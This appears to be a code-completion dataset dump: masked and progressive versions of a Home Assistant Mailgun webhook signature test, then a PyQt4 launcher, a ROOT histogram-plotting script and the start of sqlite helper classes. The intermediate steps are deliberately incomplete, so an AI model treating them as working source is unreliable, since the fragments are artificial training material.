"step-3": "<mask token>\nAPI_KEY = 'abc123'\n\n\[email protected]\nasync def http_client(hass, hass_client_no_auth):\n \"\"\"Initialize a Home Assistant Server for testing this module.\"\"\"\n await async_setup_component(hass, webhook.DOMAIN, {})\n return await hass_client_no_auth()\n\n\[email protected]\nasync def webhook_id_with_api_key(hass):\n \"\"\"Initialize the Mailgun component and get the webhook_id.\"\"\"\n await async_setup_component(hass, mailgun.DOMAIN, {mailgun.DOMAIN: {\n CONF_API_KEY: API_KEY, CONF_DOMAIN: 'example.com'}})\n await async_process_ha_core_config(hass, {'internal_url':\n 'http://example.local:8123'})\n result = await hass.config_entries.flow.async_init('mailgun', context={\n 'source': config_entries.SOURCE_USER})\n assert result['type'] == data_entry_flow.FlowResultType.FORM, result\n result = await hass.config_entries.flow.async_configure(result[\n 'flow_id'], {})\n assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY\n return result['result'].data['webhook_id']\n\n\[email protected]\nasync def webhook_id_without_api_key(hass):\n \"\"\"Initialize the Mailgun component and get the webhook_id w/o API key.\"\"\"\n await async_setup_component(hass, mailgun.DOMAIN, {})\n await async_process_ha_core_config(hass, {'internal_url':\n 'http://example.local:8123'})\n result = await hass.config_entries.flow.async_init('mailgun', context={\n 'source': config_entries.SOURCE_USER})\n assert result['type'] == data_entry_flow.FlowResultType.FORM, result\n result = await hass.config_entries.flow.async_configure(result[\n 'flow_id'], {})\n assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY\n return result['result'].data['webhook_id']\n\n\[email protected]\nasync def mailgun_events(hass):\n \"\"\"Return a list of mailgun_events triggered.\"\"\"\n events = []\n\n @callback\n def handle_event(event):\n \"\"\"Handle Mailgun event.\"\"\"\n events.append(event)\n hass.bus.async_listen(mailgun.MESSAGE_RECEIVED, handle_event)\n return events\n\n\nasync def test_mailgun_webhook_with_missing_signature(http_client,\n webhook_id_with_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook doesn't trigger an event without a signature.\"\"\"\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun', 'signature': {}})\n assert len(mailgun_events) == event_count\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun'})\n assert len(mailgun_events) == event_count\n\n\nasync def test_mailgun_webhook_with_different_api_key(http_client,\n webhook_id_with_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook doesn't trigger an event with a wrong signature.\"\"\"\n timestamp = '1529006854'\n token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun', 'signature': {'signature': hmac.new(key=\n b'random_api_key', msg=bytes(f'{timestamp}{token}', 'utf-8'),\n digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,\n 'token': token}})\n assert len(mailgun_events) == event_count\n\n\nasync def test_mailgun_webhook_event_with_correct_api_key(http_client,\n webhook_id_with_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook triggers an event after validating a signature.\"\"\"\n timestamp = '1529006854'\n token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun', 'signature': {'signature': hmac.new(key=bytes(\n API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'),\n digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,\n 'token': token}})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_with_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n\n\nasync def test_mailgun_webhook_with_missing_signature_without_api_key(\n http_client, webhook_id_without_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook triggers an event without a signature w/o API key.\"\"\"\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',\n json={'hello': 'mailgun', 'signature': {}})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',\n json={'hello': 'mailgun'})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n\n\nasync def test_mailgun_webhook_event_without_an_api_key(http_client,\n webhook_id_without_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook triggers an event if there is no api key.\"\"\"\n timestamp = '1529006854'\n token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',\n json={'hello': 'mailgun', 'signature': {'signature': hmac.new(key=\n bytes(API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'),\n digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,\n 'token': token}})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n",
"step-4": "<mask token>\nimport hashlib\nimport hmac\nimport pytest\nfrom homeassistant import config_entries, data_entry_flow\nfrom homeassistant.components import mailgun, webhook\nfrom homeassistant.config import async_process_ha_core_config\nfrom homeassistant.const import CONF_API_KEY, CONF_DOMAIN\nfrom homeassistant.core import callback\nfrom homeassistant.setup import async_setup_component\nAPI_KEY = 'abc123'\n\n\[email protected]\nasync def http_client(hass, hass_client_no_auth):\n \"\"\"Initialize a Home Assistant Server for testing this module.\"\"\"\n await async_setup_component(hass, webhook.DOMAIN, {})\n return await hass_client_no_auth()\n\n\[email protected]\nasync def webhook_id_with_api_key(hass):\n \"\"\"Initialize the Mailgun component and get the webhook_id.\"\"\"\n await async_setup_component(hass, mailgun.DOMAIN, {mailgun.DOMAIN: {\n CONF_API_KEY: API_KEY, CONF_DOMAIN: 'example.com'}})\n await async_process_ha_core_config(hass, {'internal_url':\n 'http://example.local:8123'})\n result = await hass.config_entries.flow.async_init('mailgun', context={\n 'source': config_entries.SOURCE_USER})\n assert result['type'] == data_entry_flow.FlowResultType.FORM, result\n result = await hass.config_entries.flow.async_configure(result[\n 'flow_id'], {})\n assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY\n return result['result'].data['webhook_id']\n\n\[email protected]\nasync def webhook_id_without_api_key(hass):\n \"\"\"Initialize the Mailgun component and get the webhook_id w/o API key.\"\"\"\n await async_setup_component(hass, mailgun.DOMAIN, {})\n await async_process_ha_core_config(hass, {'internal_url':\n 'http://example.local:8123'})\n result = await hass.config_entries.flow.async_init('mailgun', context={\n 'source': config_entries.SOURCE_USER})\n assert result['type'] == data_entry_flow.FlowResultType.FORM, result\n result = await hass.config_entries.flow.async_configure(result[\n 'flow_id'], {})\n assert result['type'] == data_entry_flow.FlowResultType.CREATE_ENTRY\n return result['result'].data['webhook_id']\n\n\[email protected]\nasync def mailgun_events(hass):\n \"\"\"Return a list of mailgun_events triggered.\"\"\"\n events = []\n\n @callback\n def handle_event(event):\n \"\"\"Handle Mailgun event.\"\"\"\n events.append(event)\n hass.bus.async_listen(mailgun.MESSAGE_RECEIVED, handle_event)\n return events\n\n\nasync def test_mailgun_webhook_with_missing_signature(http_client,\n webhook_id_with_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook doesn't trigger an event without a signature.\"\"\"\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun', 'signature': {}})\n assert len(mailgun_events) == event_count\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun'})\n assert len(mailgun_events) == event_count\n\n\nasync def test_mailgun_webhook_with_different_api_key(http_client,\n webhook_id_with_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook doesn't trigger an event with a wrong signature.\"\"\"\n timestamp = '1529006854'\n token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun', 'signature': {'signature': hmac.new(key=\n b'random_api_key', msg=bytes(f'{timestamp}{token}', 'utf-8'),\n digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,\n 'token': token}})\n assert len(mailgun_events) == event_count\n\n\nasync def test_mailgun_webhook_event_with_correct_api_key(http_client,\n webhook_id_with_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook triggers an event after validating a signature.\"\"\"\n timestamp = '1529006854'\n token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_with_api_key}', json=\n {'hello': 'mailgun', 'signature': {'signature': hmac.new(key=bytes(\n API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'),\n digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,\n 'token': token}})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_with_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n\n\nasync def test_mailgun_webhook_with_missing_signature_without_api_key(\n http_client, webhook_id_without_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook triggers an event without a signature w/o API key.\"\"\"\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',\n json={'hello': 'mailgun', 'signature': {}})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',\n json={'hello': 'mailgun'})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n\n\nasync def test_mailgun_webhook_event_without_an_api_key(http_client,\n webhook_id_without_api_key, mailgun_events) ->None:\n \"\"\"Test that webhook triggers an event if there is no api key.\"\"\"\n timestamp = '1529006854'\n token = 'a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0'\n event_count = len(mailgun_events)\n await http_client.post(f'/api/webhook/{webhook_id_without_api_key}',\n json={'hello': 'mailgun', 'signature': {'signature': hmac.new(key=\n bytes(API_KEY, 'utf-8'), msg=bytes(f'{timestamp}{token}', 'utf-8'),\n digestmod=hashlib.sha256).hexdigest(), 'timestamp': timestamp,\n 'token': token}})\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data['webhook_id'] == webhook_id_without_api_key\n assert mailgun_events[-1].data['hello'] == 'mailgun'\n",
"step-5": "\"\"\"Test the init file of Mailgun.\"\"\"\nimport hashlib\nimport hmac\n\nimport pytest\n\nfrom homeassistant import config_entries, data_entry_flow\nfrom homeassistant.components import mailgun, webhook\nfrom homeassistant.config import async_process_ha_core_config\nfrom homeassistant.const import CONF_API_KEY, CONF_DOMAIN\nfrom homeassistant.core import callback\nfrom homeassistant.setup import async_setup_component\n\nAPI_KEY = \"abc123\"\n\n\[email protected]\nasync def http_client(hass, hass_client_no_auth):\n \"\"\"Initialize a Home Assistant Server for testing this module.\"\"\"\n await async_setup_component(hass, webhook.DOMAIN, {})\n return await hass_client_no_auth()\n\n\[email protected]\nasync def webhook_id_with_api_key(hass):\n \"\"\"Initialize the Mailgun component and get the webhook_id.\"\"\"\n await async_setup_component(\n hass,\n mailgun.DOMAIN,\n {mailgun.DOMAIN: {CONF_API_KEY: API_KEY, CONF_DOMAIN: \"example.com\"}},\n )\n\n await async_process_ha_core_config(\n hass,\n {\"internal_url\": \"http://example.local:8123\"},\n )\n result = await hass.config_entries.flow.async_init(\n \"mailgun\", context={\"source\": config_entries.SOURCE_USER}\n )\n assert result[\"type\"] == data_entry_flow.FlowResultType.FORM, result\n\n result = await hass.config_entries.flow.async_configure(result[\"flow_id\"], {})\n assert result[\"type\"] == data_entry_flow.FlowResultType.CREATE_ENTRY\n\n return result[\"result\"].data[\"webhook_id\"]\n\n\[email protected]\nasync def webhook_id_without_api_key(hass):\n \"\"\"Initialize the Mailgun component and get the webhook_id w/o API key.\"\"\"\n await async_setup_component(hass, mailgun.DOMAIN, {})\n\n await async_process_ha_core_config(\n hass,\n {\"internal_url\": \"http://example.local:8123\"},\n )\n result = await hass.config_entries.flow.async_init(\n \"mailgun\", context={\"source\": config_entries.SOURCE_USER}\n )\n assert result[\"type\"] == data_entry_flow.FlowResultType.FORM, result\n\n result = await hass.config_entries.flow.async_configure(result[\"flow_id\"], {})\n assert result[\"type\"] == data_entry_flow.FlowResultType.CREATE_ENTRY\n\n return result[\"result\"].data[\"webhook_id\"]\n\n\[email protected]\nasync def mailgun_events(hass):\n \"\"\"Return a list of mailgun_events triggered.\"\"\"\n events = []\n\n @callback\n def handle_event(event):\n \"\"\"Handle Mailgun event.\"\"\"\n events.append(event)\n\n hass.bus.async_listen(mailgun.MESSAGE_RECEIVED, handle_event)\n\n return events\n\n\nasync def test_mailgun_webhook_with_missing_signature(\n http_client, webhook_id_with_api_key, mailgun_events\n) -> None:\n \"\"\"Test that webhook doesn't trigger an event without a signature.\"\"\"\n event_count = len(mailgun_events)\n\n await http_client.post(\n f\"/api/webhook/{webhook_id_with_api_key}\",\n json={\"hello\": \"mailgun\", \"signature\": {}},\n )\n\n assert len(mailgun_events) == event_count\n\n await http_client.post(\n f\"/api/webhook/{webhook_id_with_api_key}\", json={\"hello\": \"mailgun\"}\n )\n\n assert len(mailgun_events) == event_count\n\n\nasync def test_mailgun_webhook_with_different_api_key(\n http_client, webhook_id_with_api_key, mailgun_events\n) -> None:\n \"\"\"Test that webhook doesn't trigger an event with a wrong signature.\"\"\"\n timestamp = \"1529006854\"\n token = \"a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0\"\n\n event_count = len(mailgun_events)\n\n await http_client.post(\n f\"/api/webhook/{webhook_id_with_api_key}\",\n json={\n \"hello\": \"mailgun\",\n \"signature\": {\n \"signature\": hmac.new(\n key=b\"random_api_key\",\n msg=bytes(f\"{timestamp}{token}\", \"utf-8\"),\n digestmod=hashlib.sha256,\n ).hexdigest(),\n \"timestamp\": timestamp,\n \"token\": token,\n },\n },\n )\n\n assert len(mailgun_events) == event_count\n\n\nasync def test_mailgun_webhook_event_with_correct_api_key(\n http_client, webhook_id_with_api_key, mailgun_events\n) -> None:\n \"\"\"Test that webhook triggers an event after validating a signature.\"\"\"\n timestamp = \"1529006854\"\n token = \"a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0\"\n\n event_count = len(mailgun_events)\n\n await http_client.post(\n f\"/api/webhook/{webhook_id_with_api_key}\",\n json={\n \"hello\": \"mailgun\",\n \"signature\": {\n \"signature\": hmac.new(\n key=bytes(API_KEY, \"utf-8\"),\n msg=bytes(f\"{timestamp}{token}\", \"utf-8\"),\n digestmod=hashlib.sha256,\n ).hexdigest(),\n \"timestamp\": timestamp,\n \"token\": token,\n },\n },\n )\n\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data[\"webhook_id\"] == webhook_id_with_api_key\n assert mailgun_events[-1].data[\"hello\"] == \"mailgun\"\n\n\nasync def test_mailgun_webhook_with_missing_signature_without_api_key(\n http_client, webhook_id_without_api_key, mailgun_events\n) -> None:\n \"\"\"Test that webhook triggers an event without a signature w/o API key.\"\"\"\n event_count = len(mailgun_events)\n\n await http_client.post(\n f\"/api/webhook/{webhook_id_without_api_key}\",\n json={\"hello\": \"mailgun\", \"signature\": {}},\n )\n\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data[\"webhook_id\"] == webhook_id_without_api_key\n assert mailgun_events[-1].data[\"hello\"] == \"mailgun\"\n\n await http_client.post(\n f\"/api/webhook/{webhook_id_without_api_key}\", json={\"hello\": \"mailgun\"}\n )\n\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data[\"webhook_id\"] == webhook_id_without_api_key\n assert mailgun_events[-1].data[\"hello\"] == \"mailgun\"\n\n\nasync def test_mailgun_webhook_event_without_an_api_key(\n http_client, webhook_id_without_api_key, mailgun_events\n) -> None:\n \"\"\"Test that webhook triggers an event if there is no api key.\"\"\"\n timestamp = \"1529006854\"\n token = \"a8ce0edb2dd8301dee6c2405235584e45aa91d1e9f979f3de0\"\n\n event_count = len(mailgun_events)\n\n await http_client.post(\n f\"/api/webhook/{webhook_id_without_api_key}\",\n json={\n \"hello\": \"mailgun\",\n \"signature\": {\n \"signature\": hmac.new(\n key=bytes(API_KEY, \"utf-8\"),\n msg=bytes(f\"{timestamp}{token}\", \"utf-8\"),\n digestmod=hashlib.sha256,\n ).hexdigest(),\n \"timestamp\": timestamp,\n \"token\": token,\n },\n },\n )\n\n assert len(mailgun_events) == event_count + 1\n assert mailgun_events[-1].data[\"webhook_id\"] == webhook_id_without_api_key\n assert mailgun_events[-1].data[\"hello\"] == \"mailgun\"\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
window.show()
sys.exit(app.exec_())
<|reserved_special_token_1|>
<|reserved_special_token_0|>
app = QtGui.QApplication(sys.argv)
window = MainWindow()
window.show()
sys.exit(app.exec_())
<|reserved_special_token_1|>
from PyQt4.QtCore import *
from PyQt4.QtGui import *
from window.window import *
import sys
app = QtGui.QApplication(sys.argv)
window = MainWindow()
window.show()
sys.exit(app.exec_())
<|reserved_special_token_1|>
#!python
# -*- coding: utf-8 -*-
from PyQt4.QtCore import *
from PyQt4.QtGui import *
from window.window import *
import sys
app = QtGui.QApplication(sys.argv)
window = MainWindow()
window.show()
sys.exit(app.exec_())
|
flexible
|
{
"blob_id": "9e2af13a15a98702981e9ee369c3a132f61eac86",
"index": 5174,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nwindow.show()\nsys.exit(app.exec_())\n",
"step-3": "<mask token>\napp = QtGui.QApplication(sys.argv)\nwindow = MainWindow()\nwindow.show()\nsys.exit(app.exec_())\n",
"step-4": "from PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\nfrom window.window import *\nimport sys\napp = QtGui.QApplication(sys.argv)\nwindow = MainWindow()\nwindow.show()\nsys.exit(app.exec_())\n",
"step-5": "#!python\n# -*- coding: utf-8 -*-\n\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\n\nfrom window.window import *\nimport sys\n\n\napp = QtGui.QApplication(sys.argv)\nwindow = MainWindow()\nwindow.show()\nsys.exit(app.exec_())",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
from ROOT import *
import os
import sys
from optparse import Option, OptionValueError, OptionParser
Box = ["RawKLMnodeID","rawKLMlaneFlag","rawKLMtExtraRPC","rawKLMqExtraRPC","rawKLMtExtraScint","rawKLMqExtraScint","rawKLMsizeMultihit","rawKLM00channelMultiplicity","rawKLM00channelMultiplicityFine","rawKLM10channelMultiplicity","rawKLM10channelMultiplicityFine","rawKLM20channelMultiplicity","rawKLM20channelMultiplicityFine","rawKLM30channelMultiplicity","rawKLM30channelMultiplicityFine","rawKLM01channelMultiplicity","rawKLM01channelMultiplicityFine","rawKLM11channelMultiplicity","rawKLM11channelMultiplicityFine","rawKLM21channelMultiplicity","rawKLM21channelMultiplicityFine","rawKLM31channelMultiplicity","rawKLM31channelMultiplicityFine","rawKLM02channelMultiplicity","rawKLM02channelMultiplicityFine","rawKLM12channelMultiplicity","rawKLM12channelMultiplicityFine","rawKLM22channelMultiplicity","rawKLM22channelMultiplicityFine","rawKLM32channelMultiplicity","rawKLM32channelMultiplicityFine","rawKLM03channelMultiplicity","rawKLM03channelMultiplicityFine","rawKLM13channelMultiplicity","rawKLM13channelMultiplicityFine","rawKLM23channelMultiplicity","rawKLM23channelMultiplicityFine","rawKLM33channelMultiplicity","rawKLM33channelMultiplicityFine"]
#Colz = ["",]
def recurPlot(tree):
pathname=os.path.join(*path)
if not os.path.exists(pathname):
os.mkdir(pathname)
for key in tree.GetListOfKeys():
thisObject=tree.Get(key.GetName())
if isinstance(thisObject,TH2):
if key.GetName() in Box:
thisObject.Draw("box")
else:
thisObject.Draw("colz")
elif isinstance(thisObject, TH1):
thisObject.Draw()
c.SaveAs(os.path.join(pathname,key.GetName()+".png"))
def makehtml(pngdir,indexfile):
ListOfPng = os.listdir(pngdir)
Namehtml = open(indexfile,'w')
for i in ListOfPng:
if i.endswith('.png'):
Namehtml.write("<img src='"+i+"' width='25%'></img>")
#Namehtml.write("<img src='"+pngdir+"/"+i+"' width='25%'></img>")
#=========================================================================
#
# Main routine
#
#=========================================================================
parser = OptionParser()
parser.add_option('-e', '--experiment', dest='eNumber',
default='7',
help='Experiment number [default=7]')
parser.add_option('-r', '--run', dest='rNumber',
default='1505',
help='Run number [default=0604]')
(options, args) = parser.parse_args()
exp = '{0:04d}'.format(int(options.eNumber))
run = '{0:05d}'.format(int(options.rNumber))
runhit = '{0:04d}'.format(int(options.rNumber))
inputName = '/ghi/fs01/belle2/bdata/group/detector/BKLM/Run_Analysis/e0007/bklmroots/bklmHists-e{0}r{1}.root'.format(exp, run)
#inputhitName = 'bklmHitmap_run{0}.root'.format(runhit)
outputpng = '/ghi/fs01/belle2/bdata/group/detector/BKLM/Run_Analysis/e0007/bklmroots/png-e{0}r{1}'.format(exp, run)
#htmlindex = 'png-e{0}r{1}/index.html'.format(exp, run)
gROOT.SetBatch()
gStyle.SetOptStat(10)
infile1 = TFile(inputName)
#infile2 = TFile(inputhitName)
c=TCanvas()
path=[outputpng]
recurPlot(infile1)
#recurPlot(infile2)
#makehtml(outputpng,htmlindex)
|
normal
|
{
"blob_id": "19cf34e7c38045a183c75703ec56c17f96ee2ac4",
"index": 9629,
"step-1": "from ROOT import *\nimport os\nimport sys\nfrom optparse import Option, OptionValueError, OptionParser\n\nBox = [\"RawKLMnodeID\",\"rawKLMlaneFlag\",\"rawKLMtExtraRPC\",\"rawKLMqExtraRPC\",\"rawKLMtExtraScint\",\"rawKLMqExtraScint\",\"rawKLMsizeMultihit\",\"rawKLM00channelMultiplicity\",\"rawKLM00channelMultiplicityFine\",\"rawKLM10channelMultiplicity\",\"rawKLM10channelMultiplicityFine\",\"rawKLM20channelMultiplicity\",\"rawKLM20channelMultiplicityFine\",\"rawKLM30channelMultiplicity\",\"rawKLM30channelMultiplicityFine\",\"rawKLM01channelMultiplicity\",\"rawKLM01channelMultiplicityFine\",\"rawKLM11channelMultiplicity\",\"rawKLM11channelMultiplicityFine\",\"rawKLM21channelMultiplicity\",\"rawKLM21channelMultiplicityFine\",\"rawKLM31channelMultiplicity\",\"rawKLM31channelMultiplicityFine\",\"rawKLM02channelMultiplicity\",\"rawKLM02channelMultiplicityFine\",\"rawKLM12channelMultiplicity\",\"rawKLM12channelMultiplicityFine\",\"rawKLM22channelMultiplicity\",\"rawKLM22channelMultiplicityFine\",\"rawKLM32channelMultiplicity\",\"rawKLM32channelMultiplicityFine\",\"rawKLM03channelMultiplicity\",\"rawKLM03channelMultiplicityFine\",\"rawKLM13channelMultiplicity\",\"rawKLM13channelMultiplicityFine\",\"rawKLM23channelMultiplicity\",\"rawKLM23channelMultiplicityFine\",\"rawKLM33channelMultiplicity\",\"rawKLM33channelMultiplicityFine\"]\n\n#Colz = [\"\",]\n\ndef recurPlot(tree):\n pathname=os.path.join(*path)\n if not os.path.exists(pathname):\n os.mkdir(pathname)\n for key in tree.GetListOfKeys():\n thisObject=tree.Get(key.GetName())\n if isinstance(thisObject,TH2):\n if key.GetName() in Box:\n thisObject.Draw(\"box\")\n else:\n thisObject.Draw(\"colz\")\n elif isinstance(thisObject, TH1):\n thisObject.Draw()\n\tc.SaveAs(os.path.join(pathname,key.GetName()+\".png\"))\n\ndef makehtml(pngdir,indexfile):\n ListOfPng = os.listdir(pngdir)\n Namehtml = open(indexfile,'w')\n for i in ListOfPng:\n\tif i.endswith('.png'):\n\t\tNamehtml.write(\"<img src='\"+i+\"' width='25%'></img>\")\n #Namehtml.write(\"<img src='\"+pngdir+\"/\"+i+\"' width='25%'></img>\")\n\n#=========================================================================\n#\n# Main routine\n#\n#=========================================================================\n\nparser = OptionParser()\nparser.add_option('-e', '--experiment', dest='eNumber',\n default='7',\n help='Experiment number [default=7]')\nparser.add_option('-r', '--run', dest='rNumber',\n default='1505',\n help='Run number [default=0604]')\n(options, args) = parser.parse_args()\nexp = '{0:04d}'.format(int(options.eNumber))\nrun = '{0:05d}'.format(int(options.rNumber))\nrunhit = '{0:04d}'.format(int(options.rNumber))\n\ninputName = '/ghi/fs01/belle2/bdata/group/detector/BKLM/Run_Analysis/e0007/bklmroots/bklmHists-e{0}r{1}.root'.format(exp, run)\n#inputhitName = 'bklmHitmap_run{0}.root'.format(runhit)\noutputpng = '/ghi/fs01/belle2/bdata/group/detector/BKLM/Run_Analysis/e0007/bklmroots/png-e{0}r{1}'.format(exp, run)\n#htmlindex = 'png-e{0}r{1}/index.html'.format(exp, run)\n\n\ngROOT.SetBatch()\ngStyle.SetOptStat(10)\ninfile1 = TFile(inputName)\n#infile2 = TFile(inputhitName)\nc=TCanvas()\npath=[outputpng]\nrecurPlot(infile1)\n#recurPlot(infile2)\n#makehtml(outputpng,htmlindex)\n",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
}
|
[
0
] |
<|reserved_special_token_0|>
class DatabaseHands(object):
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
class DatabaseProbability(object):
def __init__(self, database):
self.conn = sqlite3.connect(database)
self.cur = self.conn.cursor()
self.cur.execute('CREATE TABLE IF NOT EXISTS probabilities' +
'(id INTEGER PRIMARY KEY, card INTEGER,' +
'win REAL, draw REAL, lose REAL)')
self.conn.commit()
def insert(self, probabilities):
self.cur.executemany('INSERT INTO probabilities VALUES (NULL,?,?,?,?)',
probabilities)
self.conn.commit()
def search(self, card):
self.cur.execute('SELECT * FROM probabilities WHERE card=?', (card,))
row = self.cur.fetchone()
return row[2], row[3], row[4]
def __del__(self):
self.conn.close()
class DatabaseGames(object):
def __init__(self, database):
self.conn = sqlite3.connect(database)
self.cur = self.conn.cursor()
self.cur.execute('CREATE TABLE IF NOT EXISTS games' +
'(id INTEGER PRIMARY KEY,' +
' card1 INTEGER, card2 INTEGER, card3 INTEGER,' +
' win REAL, draw REAL, lose REAL)')
self.conn.commit()
def count(self):
self.cur.execute('SELECT count(*) FROM games')
rows = self.cur.fetchone()
return rows[0]
def insert(self, card1, card2, card3, win, draw, lose):
self.cur.execute('INSERT INTO games VALUES' + ' (NULL,?,?,?,?,?,?)',
(card1, card2, card3, win, draw, lose))
self.conn.commit()
def view(self):
self.cur.execute('SELECT * FROM games')
rows = self.cur.fetchall()
return rows
def search(self, card1='', card2='', card3=''):
self.cur.execute('SELECT * FROM games WHERE' +
' card1=? AND card2=? AND card3=?', (card1, card2, card3))
row = self.cur.fetchone()
return row
def __del__(self):
self.conn.close()
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class DatabaseHands(object):
def __init__(self, database):
self.conn = sqlite3.connect(database)
self.cur = self.conn.cursor()
self.cur.execute('CREATE TABLE IF NOT EXISTS hands' +
'(id INTEGER PRIMARY KEY, first INTEGER,' +
'second INTEGER, third INTEGER)')
self.conn.commit()
<|reserved_special_token_0|>
def insert(self, hands):
self.cur.executemany('INSERT INTO hands VALUES (NULL,?,?,?)', hands)
self.conn.commit()
def search(self, id):
self.cur.execute('SELECT * FROM hands WHERE id=?', (id,))
row = self.cur.fetchone()
return row[1], row[2], row[3]
<|reserved_special_token_0|>
class DatabaseProbability(object):
def __init__(self, database):
self.conn = sqlite3.connect(database)
self.cur = self.conn.cursor()
self.cur.execute('CREATE TABLE IF NOT EXISTS probabilities' +
'(id INTEGER PRIMARY KEY, card INTEGER,' +
'win REAL, draw REAL, lose REAL)')
self.conn.commit()
def insert(self, probabilities):
self.cur.executemany('INSERT INTO probabilities VALUES (NULL,?,?,?,?)',
probabilities)
self.conn.commit()
def search(self, card):
self.cur.execute('SELECT * FROM probabilities WHERE card=?', (card,))
row = self.cur.fetchone()
return row[2], row[3], row[4]
def __del__(self):
self.conn.close()
class DatabaseGames(object):
def __init__(self, database):
self.conn = sqlite3.connect(database)
self.cur = self.conn.cursor()
self.cur.execute('CREATE TABLE IF NOT EXISTS games' +
'(id INTEGER PRIMARY KEY,' +
' card1 INTEGER, card2 INTEGER, card3 INTEGER,' +
' win REAL, draw REAL, lose REAL)')
self.conn.commit()
def count(self):
self.cur.execute('SELECT count(*) FROM games')
rows = self.cur.fetchone()
return rows[0]
def insert(self, card1, card2, card3, win, draw, lose):
self.cur.execute('INSERT INTO games VALUES' + ' (NULL,?,?,?,?,?,?)',
(card1, card2, card3, win, draw, lose))
self.conn.commit()
def view(self):
self.cur.execute('SELECT * FROM games')
rows = self.cur.fetchall()
return rows
def search(self, card1='', card2='', card3=''):
self.cur.execute('SELECT * FROM games WHERE' +
' card1=? AND card2=? AND card3=?', (card1, card2, card3))
row = self.cur.fetchone()
return row
def __del__(self):
self.conn.close()
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class DatabaseHands(object):
def __init__(self, database):
self.conn = sqlite3.connect(database)
self.cur = self.conn.cursor()
self.cur.execute('CREATE TABLE IF NOT EXISTS hands' +
